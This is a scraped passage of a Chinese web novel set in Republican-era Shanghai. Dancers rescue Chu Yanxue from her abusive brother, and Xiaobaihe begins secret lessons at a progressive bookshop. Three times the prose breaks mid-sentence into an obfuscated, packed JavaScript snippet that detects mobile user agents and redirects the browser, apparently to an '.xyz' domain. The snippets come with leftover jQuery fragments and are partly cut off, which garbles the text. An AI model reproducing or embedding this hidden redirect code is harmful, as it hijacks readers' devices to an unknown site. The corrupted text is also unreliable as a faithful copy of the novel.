陶菁故作神秘地摇了摇手指:“不不不!这才是最好笑的事呢!韩大少确实给楚艳雪买了个洋楼,但是啊,在他看上女学生的第一时间,韩夫人就拿着房契把楚艳雪赶出去了!也不知道韩大少是不知道,还是压根没在意,对这件事连屁都没放一个!估计楚艳雪现在在哪,他都不知道!”又道,“也亏她当年从舞厅离开的时候那么趾高气昂,谁能想到今天的下场?你说,好不好笑?” 朱璇微微皱眉:“所以她现在到底在哪?” 陶菁搔了搔鼻尖,漫不经心地道:“好像是投奔她哥哥去了吧?你问这个做什么?” 小百合一直在听她们说话,没有做声。 她原以为这只是一个普通的问题,却不料,听了这个回答,朱璇的脸色立刻变了,比刚才听见陶菁提起楚艳雪的名字时更甚。 她猛然站起身来,厉声道:“投奔她哥哥去了?她疯了吗!她忘了当初是怎么从她哥哥手底下跑出来的了?她是怎么想的!” 她的声音尖利至极,后台所有化妆没化妆的舞女们都抬起头来,看向了她。整个更衣室一时都安静了。 朱璇意识到自己引起了所有人的注意,又坐回椅子上,压低了声音道:“这是那个茶馆老板娘对你们说的?” 陶菁一头雾水地道:“是啊。她说这是楚艳雪在离开前告诉她的。” 小百合也搬动椅子凑了过来,紧张地道:“怎么?楚艳雪的哥哥对她不好吗?” 朱璇冷哼道:“说‘对她不好’算是轻的了,该说是把她当成家里的牛马,还差不多!当初她从家里跑出来,就是因为她哥哥要把她卖给一个半截入土的糟老头子。这才过了几年啊?她倒自己回去了!” 陶菁道:“好了伤疤忘了疼了呗!” 小百合不忍地道:“大概她也是因为开店的事受了打击,实在没有地方去了吧!” 设想一下,如果是她遇到了和楚艳雪一样的事,在身心俱疲的情况下,她的第一反应想必也是回到孤儿院去。 所幸,孤儿院的人们对她都很好。 她顿了顿,又道:“那……我们接下来该怎么办?” 陶菁异样地瞧了她一眼,道:“该怎么办?她自己选的路,我们能有什么办法?更何况,我们和她很熟吗?连她哥哥家具体在哪都不知道,我们还能怎么办?” 小百合一时悻悻然。 陶菁说得没错。她们连楚艳雪的哥哥家在哪都不知道,就算想帮她,也无从帮起。听茶馆老板娘说话的意思,她应该也是不知道的。 就在小百合以为这件事就要这么不了了之的时候,突然听朱璇道:“我知道。” 她一时没有反应过来,道:“什么?” 朱璇道:“我知道她哥哥家在哪。” 这下子,连陶菁都露出一副惊讶的神情。 朱璇仿佛下定了决心,道:“明天上午十点,你们在大门口等我,我们一起去找她!” 第二天,小百合和陶菁依约守在了千乐门的门口,左等右等,又等了将近半个小时,才见一辆白色的小轿车缓缓停在她们面前。 朱璇的头从副驾驶的窗户里探了出来,对她们道:“快上车!” 小百合歪头往车里看去,只见司机位上也坐了个穿军装的人,军服的制式与张继显又不尽相同。见小百合看向他,那人不苟言笑地对她点了点头。 朱璇催促道:“快呀!等什么呢!” 小百合跟着陶菁坐上去,车便立刻开动了。 他们出了城,又开了约莫两个小时的时间,来到一个近郊的小镇。那军官依着朱璇的指点,穿过镇子相对繁华的区域,又在狭窄的巷子里拐来拐去,终于停在了一个宽阔些的巷子口。 开到这里,原本干净的轿车上早就满是泥点了。朱璇道:“再往里就进不去了,我们走过去吧!” 陶菁小心翼翼地提起裙摆,避开横流的污水,踩在地面上,啧声道:“真没想到,楚艳雪竟然是从这种地方出去的!看她平时的样子,还以为是从哪来的落难小姐呢!” 朱璇冷哼一声,径直往一条巷子里走去。 小百合跟在她的身后,心中还在奇怪,为什么朱璇对楚艳雪的哥哥家在哪记得这么清楚——像这种没有门牌号的贫民区,除非亲自来过不止一次,应该是很难分清哪家是哪家的——就听朱璇忽然大叫了起来:“楚艳雪!楚艳雪你在哪!你给我滚出来!” 她一边走,一边叫。 巷子里的人家纷纷探出头来,朱璇视若无睹。 陶菁骇了一跳,而后徐徐提起衣领,挡住了自己的脸。 小百合忍住没动,却也不由庆幸为她们开车那位军官也跟了过来,好歹能为她们壮一壮声势,让她们不至于因为扰民而被人打。 朱璇在巷子里来回转了几圈,就嚷了几遍。围观的人越来越多,楚艳雪却毫无回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823360|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 陶菁半遮着脸上前去拉她:“璇姐,可能她不想见我们,我们走吧!或者,她没准压根不在这,只是随便和人那么一说呢!你叫多少遍也没有用啊!” 朱璇甩开她,道:“她就在这。楚艳雪,你这个胆小鬼,你给我出来啊!” 就在这时,小百合忽然听到不知从哪传来了一阵家具碰撞和人的挣扎闷哼声。 她浑身一个激灵,回头指道:“那边!” 朱璇显然也听到了这声音,直冲向声音传来的那户门前,“砰砰砰”地砸起了门:“开门!快开门!” 她拍了半天无果,那军官上前道:“您先退后,我把门踹开。” 说着,正要抬脚,门“吱呀”一声开了一道缝。一个蓬头垢面的女子从门后露出半个脸,道:“你们找谁?” 朱璇道:“我找楚艳雪,你们把楚艳雪藏到哪里去了!”说着,就要推门闯进去。 那女子拼命地想拦住她:“我没听说过这个名字!我不认识她,你们找错人了!” 朱璇身旁的军官却毫不在意她的撕扯,一脚就将她踹倒在地。 哪怕被踹倒在了地上,那女子的嘴也片刻不停歇,仍在不干不净地辱骂他们。见朱璇冲进屋中,她立刻又叫了起来:“元贵,元贵!他们进去了!他们进去了!” 小百合跟在朱璇身后,闯入一间又一间空屋子,终于在不大的后院找到一扇紧闭的门。 那军官用力一踹,门打开了,一个高大的男子旋即扑了上来。可即便身形高大,他又如何敌得过在战场上磨练出来的军官? 那军官眼疾手快地一把抓住他的手腕,一旋、一拧,脚下一蹬,把人放倒在地,眨眼之间,他的脚掌便端端正正地横在了那男人的喉咙上。 男人在他的脚底气喘吁吁地道:“你们、你们想干什么!我要报官!报官!” 刚刚被他踹倒的女人也从前院追了过来,见此情形,当即吱哇乱叫地要扑到军官身上,却又瞬间定住了。 原来,那军官不知何时掏出了枪,对准了她,道:“不许动。”说着,脚下用力。那名为元贵的男人立刻又痛苦地大叫起来。 于是,原本张牙舞爪的女人终于收起双臂,在枪口的逼视下瑟瑟发抖地站在了墙边。 小百合跟在朱璇身后进了屋,一扭头,只见一个身穿旗袍的女子布条绑嘴,双手背后,被捆在了桌边。看那桌子歪歪扭扭的样子,想必刚才的家具碰撞声就是她拼命弄出来了的。 小百合好奇地瞧向她的脸,想看看她到底长什么模样。可刚一对上那幽黑的眸子,小百合便不由自主地晃了一下神。 怪不得那位韩大少会对楚艳雪如此迷恋。 哪怕如此落魄,小百合依然能看出她的皮肤是多么细腻白皙,五官是多么秀美。 然而,不等她回过神来,就听到朱璇“扑哧”一声,而后“哈哈哈哈”地大笑起来。 她笑得如此剧烈,甚至歪倒了身子,不得不用一只手插起了腰。 小百合和陶菁在她的身后面面相觑,甚至连那军官都不动声色地望向了她。 朱璇笑了好一阵,才满意地长长叹了一口气。 她擦了擦眼角,道:“楚艳雪啊楚艳雪,瞧瞧你自己,落了个什么样子?”而后,从怀中掏出一个小钱袋,看也不看,随手丢向元贵的方向,道,“你看,到了最后的最后,还是我赢了。” 35.第34章 说完,朱璇扭身便走。 走到一半,路过小百合和陶菁身旁,她头也不回地随手指了指楚艳雪的方向,道:“你们两个谁去把她解开,先带回千乐门。” 小百合和陶菁赶忙上前,去给楚艳雪松绑。 被那军官踩在脚下的元贵又挣扎起来,道:“你们要把桂香带到哪里去!她是我妹妹!你们不能把她带走!听见没有!桂香!桂香!王桂香!” 陶菁停住解绳子的手,难以置信地瞪大了眼:“好哇,原来连楚都不是你原本的姓氏!你的本名叫王桂香?” 楚艳雪又羞又恼地瞥了她一眼,撇过头,不看她了。 朱璇在门前顿住脚,冷冷地睨向王元贵,道:“我给你的钱不少了,应该也够你用一阵子了。不要敬酒不吃吃罚酒。从今以后,不许你再去找她!”说完,踩着高跟鞋“噔噔”地走出了门。 不多时,小百合和陶菁把楚艳雪捆在手腕和脚腕上的绳子全部解开,摘下她口中的布条。 楚艳雪摸了摸手腕上的绑痕,低声道:“多谢。” 说完,就听那军官道:“把那些绳子拿过来。” 陶菁连忙把绳子递了过去。只见那军官俯下身,三下五除二便把王元贵捆了起来,又用枪示意他的老婆过来,绑住她的手腕,与王元贵系在了一起。这才道:“走吧。” 小百合和陶菁扶着尚且站立不稳的楚艳雪往外走。 她原以为,朱璇应该早就回到了小轿车上。却没想到,她仍直直地立在王元贵家门口。 小百合正要开口问她怎么了,忽然意识到那门口不止朱璇一个人。有八九个大汉把王元贵的家门堵了起来,手里拿着些农具,一个个面色不善,似是不准备让他们走。 原本走在她们身后的军官侧身从小百合旁挤过,站在了朱璇身前,摆弄着枪道:“让开!” 那几个大汉却丝毫不为所动。 军官果断地扬起手,对着天空“啪啪”地放了两枪,又从腰间拔出另一把手枪,对准其中领头的人,道:“我再说一遍,让开!” 小百合屏住呼吸。 她的耳朵被刚才的枪声震得嗡嗡作响,她却连一动都不敢动。 仿佛过了一个世纪之久,那领头的人终于不情不愿地往一旁让了一步,给他们让出一条缝来。 那军官摆了摆头,示意朱璇她们先走,而他独自留在最后,与这些人对峙。 小百合扶着楚艳雪一路小跑着回到巷子口,钻进车里。等朱璇和陶菁也上了车,关上车门,她们扭过身子,从后窗里看到那军官正背对着她们缓步后退,手里的枪高高举起,眼神瞬间也不曾从那人群中错开。 用了不知多久,他才退至车旁,在那群人虎视眈眈的盯视下慢慢地拉开车门,而后,迅速闪身,坐进车里,对准油门,猛然踩下! 直到那群人从后车窗里彻底消失,小百合才稍稍松下口气。 她听见朱璇对那军官语带歉意地道:“抱歉,刘副官,我没想到还会遇到这种事,真是给您添麻烦了。” 那刘副官面不改色道:“没关系,小事。” 小百合想了想,叹了口气,道:“不过,如果不知道事情的原委,或许在他们眼里,我们才是那个坏人吧……” 毕竟,只要稍加润色,王元贵的行为就可以解释成对叛逆妹妹的管教。而哪怕是逼她嫁人,也可以说是想为她谋个“好前程”。 如此一来,他们的角色无疑就是那个强行劫走楚艳雪,只为逼良为娼的恶棍了。 朱璇冷哼一声,道:“反正这辈子都不会来这破地方第二回了,管他们呢!”她从后视镜里盯向楚艳雪,接着道,“下次再遇到这种事,可别指望我们再来找你!你听到了吗?王桂香?” 楚艳雪抬头瞄了她一眼,没有作声。 陶菁欲言又止地想问些什么,被小百合悄悄拽了一把,又把嘴闭上了。 而后,一路无话。 回了千乐门,朱璇甩开她们,拉着刘副官走了,说要好好谢谢他。陶菁也随意寻了个理由离开了,只留下楚艳雪垂着眼睛,依然安静得像个漂亮的东瀛娃娃。 小百合苦恼地对着她左思右想,最终决定去求助张大班。 张大班看见楚艳雪回来了,面露惊讶,却也十分痛快地为她安排了住处,又另借了她一小笔钱,以供急用。 他们从王元贵家出来时走得匆忙,什么都没有带着。之后两日,小百合东奔西跑,陪楚艳雪置办了些衣服和日用品,终究耐不住好奇,问起了她过去与朱璇的关系,以及,为什么朱璇还知道她哥哥家在哪。 楚艳雪说得断断续续,但小百合很快听明白了。 原来,一开始,她只是个朱璇的小跟班。 那时候,她刚从哥哥家逃出来,一路搭车来到上海,才下车,就看到了贴在千乐门门口的招工海报。她原本只想找个扫地洗碗的工作,却不想被千乐门的老板看中了美貌,成了一名舞女。甚至,还给她另起了一个名字,名叫楚艳雪。 尽管换了个名字,可内心里,她依然是那个刚到上海的王桂香——从没在大城市生活过,不会跳舞,不会买衣裳,甚至话都说不太利索。 她晚上按时出现在舞厅,可是没有客人选她。周围的舞女指指点点,都在嘲笑她。 就在她手足无措时,是朱璇伸出了援手,教她跳舞,教她穿衣裳,教她怎样在城市里生活,教她如何同客人说话。 楚艳雪从心底里敬她,爱她。她们两个变得形影不离,只要没事,楚艳雪便时时跟在她身后,朱璇去做什么,她就跟着去做什么。 到了过年时,她心中不忍,想去给她的哥哥送些年货,还是朱璇找了车陪她。 可是,让她没想到的是,正因如此,一位朱璇的大主顾渐渐看上了她,开始背着朱璇来找她。 她试着推拒,可那客人很会说话,总是三言两语唬得她晕头转向,不知不觉就答应了与他出去的请求。 这种事总共也只发生了两三次。可一来二去,很快被朱璇知道了。 朱璇愤怒至极,大骂她是个两面三刀,只会背着人做小动作的狐狸精,是她自己瞎了眼,才会被她装出的那副纯良的样子骗了。还道从今以后,要与她“比试到底,不死不休”。 楚艳雪心中又气恼又委屈,想和她解释,朱璇却一个字都不肯听。于是,她心中的怒气上来,竟真的和她竞争起来,直到她们之间的矛盾在韩明皓身上彻底爆发。 楚艳雪的脸上挂着淡淡的苦笑,道:“或许也是因为她,我才会那么快上了韩明皓的当吧。” 小百合瘪了瘪嘴,难过地道:“你们两个,真的不能和好了吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849565|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楚艳雪摇头道:“她不会原谅我了。” 小百合沉默片刻,又道:“那……你还会回千乐门吗?” 楚艳雪道:“应该不了吧。我会去问问王大班,看看她能不能在哪个别的城市帮我找个活计。” 小百合吃惊地道:“王大班这都能做到?” 楚艳雪笑了,道:“是啊,可不要太小瞧她啊。”她顿了顿,又道,“到时候……你来送送我吧?” 小百合点头道:“当然。” 而后便转移了话题。 果然,之后没几日,楚艳雪便传来消息,称她要坐三日后的火车离开上海。小百合趁着她们在后台聊天,装作不经意地把这个消息透露给了陶菁和朱璇。 陶菁立刻表示要与她一起去,朱璇却没做出任何反应。 到了她离开的当日,小百合和陶菁准时来到火车站,没等多久,就见楚艳雪头戴羽毛帽,提着行李箱来了。 她穿着与小百合一起去买的衬衣裤子,没有了刚被救出来时的紧绷和颤抖,她的身形显得瘦削而优雅,仿佛又变回了千乐门曾经的那个头牌。 她对陶菁和小百合笑道:“你们来了。” 小百合道:“是。” 王大班为楚艳雪在天津卫的百货商场谋了一个职位。赚得比做舞女少得多,但至少与她喜爱的服装行业有关。 小百合发自内心地为她感到高兴。 她们在站台上有的没的聊了一阵,很快火车就来了。楚艳雪提着行李一阶一阶地登上火车,在踩上最后一阶时,忽然停住了,转头对小百合道:“麻烦帮我告诉她……谢谢她。能和她相识,我真的很高兴。” 小百合顺着她的目光看去,这才发现原来朱璇也来了。靠在一个偏僻的角落里,蒙着黑纱,戴着墨镜,一副不经意的样子,不知道的人,还以为她是来参加某个生人的葬礼。 许是察觉到小百合和楚艳雪在看她,朱璇立时扭身走了。 小百合笑了,道:“好。我会的。” 火车呼啸着开走了,不知哪一日才能回来。 小百合和陶菁走出火车站,只见朱璇仍细伶伶地站在火车站的大门口,一如当初她和那几个大汉对峙时的姿态。 小百合三蹦两跳来到朱璇身旁,笑道:“她说谢谢你,很高兴认识你。” 朱璇“哼”了一声,示意她听到了,而后道:“走吧,我请你们去喝酒。” 当晚,她们三个谁也没去千乐门,而是去了一间别处的酒吧。朱璇一杯接着一杯,喝得酩酊大醉。连小百合也喝到了微醺。 她不由庆幸,幸好她在来时的路上顺路去了一趟千乐门,告诉门卫让孙老三来这里接她们,不然,她们该怎么回去都是个问题。 孙老三一个一个将她们送回了家,又把小百合送进了门,才与她告别。 楚艳雪的事萦绕在心头,刚刚坐车时夜风又一吹,小百合的头脑不觉清醒了许多,没了半点睡意。 反正一时半会儿睡不着,她不抱什么希望地拧开收音机,却没想到,收音机里立刻传出了陆遥的声音:“小百合?你在吗?是你吗?” “是我!是我!我在!”小百合兴高采烈地道。 她正要对陆遥说起楚艳雪的事,还没来得及说出口,就听陆遥道:“小百合,你想不想去上学?” 36.第35章 小百合探头探脑地走在汉口路上。 陆遥告诉她要在汉口路上找一家名为“和平”的书店,却没告诉她这家书店具体在哪。 汉口路是一条大街,路两旁有许多丫丫叉叉的弄堂小巷。小百合在汉口路的大路上没找到这家书店,想必是在两旁的小巷里了。 就在她们送走楚艳雪那天半夜,陆遥突然问她想不想去上学,小百合一时呆住了。 实话说,她从来没有想过这个问题。 在她的印象里,“上学”好像一直都只是那些住着小别墅,坐着小轿车的女孩们的选择。从小在孤儿院长大,她能认得字,会背诗,就已经是一件值得感恩的事了。 她没有立刻回答,陆遥又接着道,说是上学,小百合却还要冒一些风险。百合反问她什么风险,陆遥迟疑良久,才告诉她,那学堂是他们这个时代所谓的 “进步人士”开设的,如果她真的加入,一旦被发现了,或许会被当作同谋,被当局抓捕。 这一下,小百合更不知道该说什么了。 “进步人士。” 他们每日的报纸自然不是这么写的。 在他们的报纸上,那些人是“乱党”,是“激进人士”,是要被剿灭的“匪徒”。小百合在新闻里读到过他们,在大街上遇到过要去搜捕他们的卫兵,却从来没想过,有朝一日,她本人会与他们有什么联系。 可话说回来,她又何曾想过,她会认识陆遥呢? 许是听出她的犹豫,陆遥的声音又温和下来,道,就算小百合不想去也没有关系,这是她自己的选择,她不会逼她。但如果小百合感兴趣,她只是想告诉她一个能去上学,去系统地学习知识的地方。 陆遥是不会害她的,小百合想。 本着这个信念,她记下了陆遥告诉她的书店的名字和位置。又拖了两天,才终于下定了决心,来寻找这个传说中的书店。 可是,出乎她意料的是,居然连那个书店本身,都是没有那么好找的。 小百合被头顶的太阳晒得焦头烂额,寻遍了汉口路一侧的巷子,又穿过马路,去搜寻另一边,依然没有找到。 她走回下车时的原点,寻了个屋檐,躲在阴凉里用帽子给自己扇风,想:“该不会是陆遥搞错了吧?” 毕竟,从现在到陆遥那会儿,都过去了一百多年,她还身在月亮上,哪里能知道得那么清楚呢? “也或许,这是天意。”她想。 如果陆遥说的地址没错,她却找遍了几乎整条汉口路都没有找到那家书店,这只能说是老天爷不想让她找到了。 “改天再来试试看好了。”小百合对自己道。 她正要抬手拦一辆黄包车回家,忽然听到不远处的巷子里传来一阵叫卖声:“红豆沙!来吃红豆沙伐?清清凉凉的红豆沙!” 小百合走得时间久了,此时她这么一叫,才忽然觉出了口渴,顿时改变了主意,准备吃完这一碗红豆沙再回去。 那叫卖的是一个年轻女人。她肩上挑着一个担,一边是遮得严严实实的红豆沙,另一边装的全是干净的勺和碗。小百合付过钱,她便放下担,现舀出一碗,递给小百合。 或许是因为盖得严实,那红豆沙当真十分清凉。几口下肚,小百合便感觉浑身清爽许多。她站在阴凉里一勺一勺地舀红豆沙吃,那女人就笑眯眯地在一旁等着。 小百合不好一直盯着她看,便扭头望向巷子深处。这么一望,她立时愣住了——只见巷子深处的一个窗檐上,放着一块极为破烂的木牌,木牌上标了一个箭头,写的,赫然正是“和平书店”四个字。 这条路她刚才走过,但是从另一边过来的,没有回头,自然也就完全没看到这块牌子。牌子所指的地方是一断半截巷,没有任何明显的标识,小百合还以为里面只是普通的民居。 她三两口吃完红豆沙,把碗还给那女人,快步走到牌子跟前。她果然没有看错,木牌上写的就是“和平书店”四个字。 小百合顺着箭头的方向慢慢往那半截巷里走,走到巷子尽头,才发现一道半开的大门,挂着布帘子,门边灰白的墙上,也用毛笔端端正正地写道:“和平书店”。 她的心中顿时哑然,如果不是偶然看到了那牌子,任凭她在汉口路找上几遍,恐怕也找不到这个书店! 小百合掀开帘子,走了进去,淡淡的旧书的味道扑面而来。 书店里很安静,浮着灰尘,阳光一照,便成了道道光柱。柜台后坐着一个中年男人,穿着长衫,戴着眼镜,显得十分斯文。 他微翘着腿,举着一本书,在小百合进门时掀起眼皮瞥了她一眼,便又把目光垂了下去,丝毫没有招待她的意思。 于是,小百合只好自己往书店里走。 书架上的书种类繁多,小百合匆匆扫过,便瞧见了不少她不明白的词。而在书店最靠里的墙上还开着一扇门,却被一块大木板拦住,写着:“闲人免进。” 小百合从书店深处转出来,又回到柜台前。她望着柜台后冷淡的中年男人,深吸了一口气,鼓起勇气,道:“您好,我、我听说这里有讲学的人,可以让我也一起听课吗?” 那中年男人终于抬起头来,上下打量了她一番,又低下头去,道:“这里不是你该来的地方,你走吧!” 小百合早知事情不会进展得一切顺利,可这男人的话是这般武断,一股不忿蓦然冲上她的心头,她道:“为什么?为什么这不是我该来的地方?是因为我是一个女人吗?还是因为我的裙子,我的帽子?” 男人的眼神如刀一般切了过来,道:“你以何谋生?” 来了! 这问题来得如此之快,来得如此尖锐直白,锥心刺骨! 不是早该适应了吗,为何她还会这般痛苦? 水汽骤然蒙住了小百合的双眼,她想要表现得强硬一些,却止不住声音里的颤抖。 她说道:“是,我是一个舞女。我为了更好的生活,选择了这个工作。我从小到大没有上过一天学,没有读完过一本书。您瞧不起我,也是应该的。” 她顿了顿,又道:“可是,从今天开始,我想学习了,这就是我的错了吗?就因为我的过去,我就不配读书了吗?有人告诉我,我来这里就可以上学了。说这里的人都是进步人士,思想开明,冒着天大的风险,只为宣扬让世界更好的新理念。可是,‘人人平等’这几个字说了多少年了?这还算是什么新思想吗?就因为我舞女的身份,我就不配与他人平等了吗?照这么看,她还是说错了!这里哪有什么进步人士,不过都是和去我们舞厅跳舞的那些人一般的老古董罢了!” 说完,她便要夺门而出,却又被叫住了:“等等!” 那中年男人站了起来,问她道:“是谁告诉你我们在这里教学的?” 小百合心头一跳,道:“他说,他的名字叫王远。” 男人微皱起眉:“王远?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859697|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 小百合道:“对,王远。怎么,他没有在这里读书吗?” 男人道:“你是在舞厅遇到他的?” 小百合道:“不,我们只是在街上偶然撞到了。那时见我心情不好,他便请我吃了些东西。我对他说出了心中的苦恼,告诉他,除了做舞女之外我不知道有什么出路,他就让我来到了这个地方。” 男人沉默一阵,道:“你想学些什么?” 小百合道:“这里教什么,我就学什么。” 男人道:“那你就学一学写字吧!学会了写字,可以去做文员。” 小百合道:“其实我粗浅认得一些字。”她想起陆遥对她说的,她在登上月球前所学的科目,迟疑片刻,道,“你们这里……教不教数学、物理和化学?” 那男人脸上露出讶色:“数学、物理和化学?你是从哪里知道这些词的?” 小百合道:“我的一位客人对我说起过,我觉得很有意思。” 男人道:“那不是你们女人该学的东西。” 小百合反问道:“试都没有试过,您怎知那不是我该学的东西?难道我们天生就比男人愚笨吗?”她看了一眼那男人拿在手里的《科学》杂志,“您信奉的西方科学里,哪一条理论这样说了?难道不正是因为像您这样的人不断阻拦,不断反对,我们才更没法去学那些东西吗?” 那男人盯了她半晌,终于道:“好罢。两日后,下午四点,你再来这里。如果能听得下去就听,听不下去,你就自行离开罢。”又道,“我叫刘一平,从今以后,你叫我刘先生就好。” 两日后,小百合依着约定的时间来到书店门口,只见门上挂了一块牌子,写着“今日歇业”。她踌躇片刻,忐忑地敲了敲门。 门“吱呀”一声开了,刘一平站在门后,对她点点头,让他进来。 书店后方写着“闲人免进”的木板被移开了,门帘掀起,刘一平示意小百合进去。 原来,书店背后还有一个极为狭窄的小院,通向一间放着杂物的屋子。屋子里摆着歪歪斜斜地摆着几张桌椅,坐了几个人,簇拥着一块尚且残留着粉笔痕迹的黑板。 小百合刚一进来,那几个人便齐刷刷地望向她。 刘一平跟在她身后,道:“这位是……百合。是王远介绍她来的。” 其中一人吃惊地道:“王远?他不是前一阵子回老家去了吗?” 这下,小百合原本跳得飞快的脉搏终于稍稍平复下来。她在心里悄悄松了一口气。 前两日看刘一平的反应,她便猜测王远应当暂时不在城中。 不然,他定会反问她为何她不与王远一起过来,或者让她等一等,等他与王远确认之后再给她答复。 她果然猜对了。 也幸好王远此时不在城中。不然,她就只能以“你醉酒时告诉我的,你不记得了吗?”之类的理由来搪塞了。 还不等她做出回答,就有人替她道:“那怎么了?就不许人家考虑考虑再来吗?” 说话的是原本坐着的另一人,一位文质彬彬的青年。 他从杂物中搬出一张桌子,一把椅子,摆在自己身边,友好地对她微笑道:“请坐吧,刘先生的哲学课很有意思,你不会后悔来听讲的。” 刘一平点点头,又指向他和离他不远的另一人,对小百合道:“你不是想学数学、物理和化学吗?去请教他们。” 于是,小百合开始上学。 37.第36章 和平书店的聚会每隔两三天一次,刘一平和另外三四个人轮番上前讲课,讲的都是不同的科目,每个人依着自己的时间安排,想来就来,不想来就不来。 小百合比起旁人落下了许多课程,几位老师便不时应她的请求,提前一个小时来到书店,为她补课。 如果有别人想要重听一遍,也随时可以过来。 在几个人中,刘一平的哲学课讲得最为慷慨激昂,不时痛陈当局,点评时事,来的人也总是最多的,可小百合最喜欢的,仍是物理和数学。 原来,当初为她搬来桌椅的那位青年名叫钱木岑,也是位留洋归来的学生。 当他第一次上课的时候,小百合便向他问起了陆遥曾经问过她的问题:“如果我去饭店吃饭,点一份蟹粉狮子头,同样大的一个碟子,是四个大狮子头合算,还是五个小狮子头合算?如果我去赌场,有人扔出去五个骰子,让我猜大小,我押哪个数,更可能赢?” 其他人纷纷地笑了,道:“这叫什么问题?你学数学,就是为了算这个?” 钱木岑却没有笑,而是认认真真地对她讲起了球体的算法,和概率的原则。 他在物理和数学上领着小百合入了门。之后没过多久,小百合就追上了他讲课的进度,甚至会在下课后留下来,问他些想知道的问题。比如,关于月球和火箭的。 钱木岑讲得也不多,但每多学一点,小百合就觉得离陆遥更近了一分。 现在,陆遥每回与她联系的间隔愈发长了,甚至有时候,一两个月她都等不来一次。 小百合依然每天晚上开着收音机,可她再也不像以前那样苦苦等待,而是将它的声音调低,只单纯地把它当作一种背景音。每天她不去舞厅陪人跳舞时,就在这背景音中翻翻书,研究些她感兴趣的算式。 尽管她也不知道研究这些算式到底能做些什么,但她再也没有感受到往日的空虚与迷茫。 甚至连朱璇和陶菁也察觉了她的变化,问她道:“怎么感觉……你和以前不一样了?” 小百合好奇地道:“哪里不一样了?” 她们两个却也一时说不出个所以然来。朱璇支着下巴盯了她半天,道:“好像……气色更好,更有精神了?” 陶菁道:“对对对!而且,跟我们出来玩的次数也变少了!” “我懂了!”朱璇斩钉截铁地道,“你肯定是恋爱了!快说,你是和谁恋爱了?” 陶菁吃惊地张大了嘴巴,道:“真的吗!你不等张先生了?你在哪认识的别人?我们怎么都不知道?快说快说!” 小百合无奈地笑道“没有”,她们两个却不肯信,仍追着逼问,小百合也只得由她们去。 在开始学习之后,小百合遇到的另一个问题,便是买书的支出。 小百合所有的科目都是从零开始,钱木岑他们给她开出的书单里书目繁多,她哪个都不想落下,总是读完一本,便去找下一本。 而除了书单里的书,小百合还会去自己寻些关于天文和宇宙的书看。 虽然和平书店就是刘一平本人开的,有许多前人留下的旧书供她随意翻阅。日常买书,他更是几乎以成本价出给他们。可他这毕竟是个小书店,并非什么书都有。 况且,最近物价飞涨,刘一平的书店经营得也十分吃力,就算他没有意见,小百合也不愿总是占他的便宜,因此,有时候会去别的书店购买。 一本一本积累下来,加上算式用的纸笔,也是笔不小的支出。 她最近忙着念书,没有积极地去笼络新客,赚的都是老客人来光顾时的舞资。给孤儿院的那一份钱是不能少的,还有平日生活的吃穿、水电、房租,竟一时入不敷出。 小百合在柜子、桌底找了个遍,确定边边角角哪里都没有她以前藏起来的备用金了,在屋里转了两圈,终于下定决心,打开保险柜,掏出了里面的首饰盒。 除了放在外边经常戴的两条项链和一根手镯,她似乎有一阵子没有打开过首饰盒了。 小百合一个个地抚摸过那些她曾经如数家珍的项链、耳环、戒指、胸针,想,她过去是多么的珍视它们啊。她又何曾想到,有朝一日,自己会用它们来换取一摞摞注定要给虫蛀的纸堆呢? 不过,小百合转念一想,这些书也不算白买。等她读完了、弄懂了,还可以把它们带去孤儿院,拿给她的弟弟妹妹们看,讲给他们听。 其实她最近已经在这么做了。她发现这些孩子里,孙老七对算数的反应尤其快,或许未来是个学数学的好苗子。 “这是值得的。”小百合对自己道。 而后,将整个首饰盒放入包中。 第二天,小百合来到她早就熟悉的当铺。这是个小当铺,不比那些大的当铺有名,但给出的价格更为合理公道。 见小百合走进来,坐在柜台后的老板立刻对她打招呼道:“哟!稀客啊!好久不见!你这回过来,是来当东西,还是来赎你的宝贝?” 小百合摇了摇头,道:“都不是。”她从包里掏出首饰盒,隔着栏杆推到老板面前,道,“我想把这些全部出手,麻烦您给估个价吧!” 老板露出一个惊讶的表情,接过首饰盒,打开盖子,一件件检视起来,道,“你这是怎么了?要急用钱吗?”又道,“如果是急着用钱,我可以给你一个好价格,还是按典当算,你过了这阵子再来赎就好了!” 小百合笑道:“那真是多谢老板了!不过,我没有急着用钱,您这回可猜错了!我只是最近得了不少新首饰,想着这些旧的也早就戴腻了,正好趁这两天收拾东西,把它们卖了算了!就是要麻烦您一下了!” 尽管她与这老板早就熟识,但防人之心不可无,不这么说,难保对方听到她急需用钱,不给她大砍一刀,压个低价。 当铺的老板也抬起头来,对她一笑,道:“哈哈原来 